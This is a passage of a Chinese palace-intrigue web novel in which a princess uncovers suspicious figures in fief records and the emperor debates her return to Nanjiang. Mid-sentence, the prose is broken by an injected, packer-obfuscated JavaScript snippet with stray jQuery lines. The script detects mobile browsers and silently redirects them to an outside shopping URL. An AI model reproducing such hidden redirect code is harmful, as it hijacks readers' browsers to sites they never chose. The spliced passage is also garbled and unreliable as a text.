見她神情嚴肅,不似平時放鬆,晚棠腦中靈光一閃,壓低聲音道:“殿下,難道宣城被人動了手腳?”
虞靜央不置可否,依舊一個字一個字地看下去,第一遍沒有發現什麼大的異常,又重新看第二遍。這隻是她的推測,若柳素當真受人收買成了奸細,膽敢冒著被重罰的風險毀壞封地文書,恐怕就是這其中有不想讓她發現的問題。
現在宣城重新回到她手裡,但凡出現任何差錯都是她的責任。她必須把存在的風險排查乾淨,不能成了彆人的替罪羊。
虞靜央的目光遊移著,驀地停在一處。據她的回憶,有些方麵的花銷數字不應該如此高昂,而且宣城所居百姓的人數並不見有太多增加,為何報回來的米糧消耗卻比從前多了一倍?
硝石,鐵器,糧草。
虞靜央目光鎖定在文書上的幾行字。不知過了多久,燭火劈啪一響,她勾起唇角,心頭恍然變得一片澄明。
原來如此。
---
乾安宮,冰盆靜置大殿兩側,麒麟香爐溢出雲氣氤氳。太常奉命入宮稟報祭祀之事,在龍椅近前,還立著個容儀端秀的青年臣子,身著博士官袍,清雋如芝蘭玉樹。
殿外傳來通報聲,身披
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266405|131511||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
戎裝的將士即刻入內,將快馬加鞭送來的文書上呈天聽。原是南江使團已經啟程出發,直向玉京而來,給大齊皇帝的信件於今日送抵朝廷,個中語句委婉,姿態遠比從前更低,但字裡行間皆不離婚盟之事。
明裡暗裡說得好聽,不過就是想要虞靜央回南江。虞帝看得心煩意亂,問身邊的年輕人:“謹之,依你之見,朕究竟該不該送央兒回去?”
蘇昀沒有立馬表達自己的看法,而是緩聲道:“回陛下,微臣曾聽聖人之言,‘父為子隱,子為父隱,直在其中矣。’倫理之親甚於君臣之義,陛下與三殿下既為君臣,也是倫理血親。”[1]
虞帝眉頭不展:“父子之隱不求為直,乃天理人情之至,可朕並非攘羊之人,而是一國之君。”
蘇昀捕捉到皇帝的意思,順著試探道:“陛下希望公主留在玉京,隻要旨意一下,南江人也不敢公然違抗。”
虞帝無奈搖頭:“若朕隻是尋常人家的父親,豈會不想要央兒留在身邊,可她到底肩負著責任,關乎的是兩國之間的盟約。”
“臣看三殿下的態度,不像想要回到南江的模樣,如今日日翹首盼望,隻等聖裁下詔。陛下是英明之君,總會做出正確的決斷。”
蘇昀拱手:“寧為父絕君,不為君絕父,倘若換作父親對子女,應當也是如此。陛下為君,但亦為殿下之父。”
他越說越出格,已經超出天子近臣的本分,竟不知不覺有了明顯的態度傾向。太常臉色微變,低聲製止道:“蘇昀!”
蘇昀自然知道自己話中不妥,頂著壓力俯首:“微臣僭越,請陛下恕罪。”
虞帝興致缺缺,不見怪罪之意,反而若有所思,須臾後又問:“趙卿,你覺得呢?”
太常被點到,恭敬答道:“回陛下的話,如今天下局勢撲朔,當為大局著想。三公主本就已經嫁作南江婦,現在戰亂結束,適時回歸夫家也是合情合理。”
“但我們已經與梨花寨訂立了盟約,倘若與南江重修舊好,該如何向那黎娘子交代?”
太常道:“臣以為,梨花寨隻是一介小小匪寨,終究不會長久,南江與西戎才是我大齊最該重視的對象。當下西戎盤踞西部虎視眈眈,若大齊貿然與南江生隙,一旦產生裂口,西戎未嘗不會效仿當年的南江,再現趁火打劫的不義之舉啊。”
過了將近一盞茶的功夫,虞帝才疲憊地歎了口氣:“你說得也有道理。”
他揉揉眉心,道:“罷了。朕記得私庫裡有幾套上好的翡翠珍珠頭麵,央兒最喜歡這些。謹之你去取來,親自到她府上送一趟。”
分明是賞賜,蘇昀心中卻無端一沉。但他已經不能再問,隻有不動聲色領命,隨太常退下。
“蘇博士,這邊請。”
跟著錢順海從帝王私庫取出拿給公主府的賞賜,蘇昀欲出宮,這時迎麵走來一個麵容冷峻的高大男子,武將裝束腰間佩劍,正是蕭紹。